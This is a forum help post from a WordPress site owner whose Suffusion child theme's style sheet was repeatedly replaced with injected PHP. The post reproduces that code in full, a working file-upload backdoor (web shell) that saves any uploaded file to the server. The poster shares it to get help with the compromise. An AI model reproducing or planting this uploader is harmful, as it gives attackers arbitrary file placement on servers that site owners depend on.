Child theme's style sheet keeps getting strange php inserted

Hello,

I just updated a site that you can see here:

http://salemmainstreets.org

The site was built with a child theme on the Suffusion theme.

The problem is that twice over the past few days I have gone to the site and found all my custom styles removed and this code in place of them on the child theme’s style sheet.

<?php
if(isset($_POST['Submit'])){
    $filedir = "";
    $maxfile = '2000000';

    $userfile_name = $_FILES['image']['name'];
    $userfile_tmp = $_FILES['image']['tmp_name'];
    if (isset($_FILES['image']['name'])) {
        $abod = $filedir.$userfile_name;
        @move_uploaded_file($userfile_tmp, $abod);

echo"<center><b>Done ==> $userfile_name</b></center>";
}
}
else{
echo'
<form method="POST" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>';
}
?>

Here are the plugins we are using:

Akismet
Better WP Security
Font Awesome 4 Menus
Google Analytics Dashboard
NextGEN Gallery
NextGEN Galleryview
Use Google Libraries
WP Web APP Standard.

What worked the other day was to simply copy the style sheet from my backup of the test site into the child theme’s stylesheet. But it’s so frustrating to see all my work get blown out of the water! Has anyone else had this happen while using a child theme of Suffusion?
Thanks!